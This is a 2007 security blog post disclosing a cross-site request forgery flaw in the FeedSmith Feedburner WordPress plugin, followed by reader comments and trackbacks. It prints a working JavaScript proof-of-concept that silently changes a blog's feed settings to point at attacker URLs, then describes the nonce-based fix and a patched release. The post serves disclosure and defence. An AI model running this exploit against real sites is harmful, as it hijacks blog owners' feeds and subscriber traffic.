The famour Feedsmith Feedburner plugin is vulnerable to a CSRF attack that can allow an attacker to completely hijack blog feeds.

The popular feed service plugin page says this:

This plugin makes it easy to redirect 100% of traffic for your feeds to a FeedBurner feed you have created. FeedBurner can then track all of your feed subscriber traffic and usage and apply a variety of features you choose to improve and enhance your original WordPress feed.

In other words, if an attacker can control the Feedburner plugin, it means 100% of traffic will be hijacked…. [and] can then be used to track all [hijacked] subscriber traffic and usage…


feedburner csrf vulnerability

Proof of concept



// Simple Proof of Concept Exploit for FeedSmith Feedburner CSRF Hijacking
// Tested on version 2.2.

t='http://the-target/wordpress/wp-admin/options-general.php?
    page=FeedBurner_FeedSmith_Plugin.php';

p='redirect=true&feedburner_url=http://hijacking-your-feed.com/with/new/feed&
    feedburner_comments_url=http://hijacking-your-comments.com/with/new/feed';

feedburner_csrf = function(t, p) {

        req = new XMLHttpRequest();
        var url = t;
        var params = p;
        req.open("POST", url);

        req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        req.setRequestHeader("Content-length", params.length);
        req.setRequestHeader("Connection", "close");
        req.send(params);

};

feedburner_csrf(t,p);


Solution:

Some time ago I released a whitepaper detailing some common WordPress plugin security pitfalls. To resolve the issue, Feedburner need to apply the WP Nonce as explained in this paper.

Google have already gotten back to me and a fix will be available shortly.

Update: 03/10/07: Fixed version released.

Read and Contribute to BlogSec News!

Comments

Marcin on 2 October, 2007 at 8:32 am #

I know of another way to mitigate/reduce the likelihood of exploitation. I would rather keep it private (hasn’t been verified to work), so Adrian, if you can, send me an email.


imjuk on 2 October, 2007 at 1:53 pm #

good catch on this. looks like a significant exploit in Feedburner. Am away to alter some of my posts on feedburner in light of this info.
Cheers
Mike


David Kierznowski on 2 October, 2007 at 3:17 pm #

Marcin, not sharing eh? :)

imjuk, from what I understand, the fix should be available any day.



[…] This does address the vulnerability released on BlogSecurity yesterday. […]


[…] versiyonunu yayınlayaraksayfamızda bahsettiğimiz güvenlik açığını kapatmış.Feedburner BlogSecurity‘de yayınlanan haberden sonra CSRF açığını kapatarak tekrar hizmet vermye […]


[…] to BlogSecurity version 2.2 is prone to CSRF (Cross-site request forgery) attack that can allow an attacker to […]


Warning! Warning! Danger! Danger! FeedSmith users on 4 October, 2007 at 11:51 pm #

[…] to Burning Question this potential security problem was brough to their attention by this post from Blog Security, Kudos to the Blog […]


[…] a Blog Security y FeedBurner […]


[…] reports of Hijacking feeds with Feedburner Vulnerability, the new release v2.3 ensures that the only person who may change […]


[…] of thousands of other blogs use the Feedburner service. A couple of weeks ago we released a vulnerability in Feedburner which allowed attackers to hijack your feed - this has since been resolved. Today, we will be […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


AskApache on 24 October, 2007 at 5:44 am #

Great discovery! I’ve implemented the wp_nonce in all my plugins thanks to your security article you mentioned. I think its smart to use as few plugins as possible.. I like to rely on Apache mod_rewrite to redirect the feeds instead.


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


Feedburner Güvenlik açığı on 28 December, 2007 at 6:47 pm #

[…] rsslerinizi hijack yapabiliyorlar. BlogSecurity‘de yayınlanan haberden sonra CSRF açığını kapatarak tekrar hizmet vermye […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


[…] il celebre plugin per Wordpress messo a disposizione da FeedBurner è stato crackato a causa di una vulnerabilità e tutti coloro che lo usano per effettuare il redirect dei loro feed RSS verso FeedBurner rischiano […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


[…] like to thank Blog Security for their recent writeup of this potential exploit. Software is […]


Comment
Name:
Email:
Website:
Message: